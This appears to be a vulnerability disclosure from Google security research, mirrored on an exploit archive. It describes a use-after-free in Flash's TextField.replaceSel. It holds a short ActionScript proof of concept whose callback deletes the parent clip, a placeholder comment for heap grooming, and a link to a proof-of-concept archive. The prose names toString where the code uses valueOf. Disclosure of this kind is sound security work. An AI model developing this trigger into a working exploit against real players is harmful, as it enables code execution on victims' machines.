25 lines
No EOL
691 B
Text
25 lines
No EOL
691 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=585
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There is a use-after-free in TextField.replaceSel. If the string parameter of the method is set to an object with toString defined, this method can delete the TextField's parent, leading to a use-after-free.
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A minimal PoC is as follows:
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var mc = this.createEmptyMovieClip("mc", 101);
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var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
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tf.replaceSel({valueOf : func});
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function func(){
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mc.removeMovieClip();
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// Fix heap here
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return "text";
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}
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A sample swf and fla are attached.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39047.zip |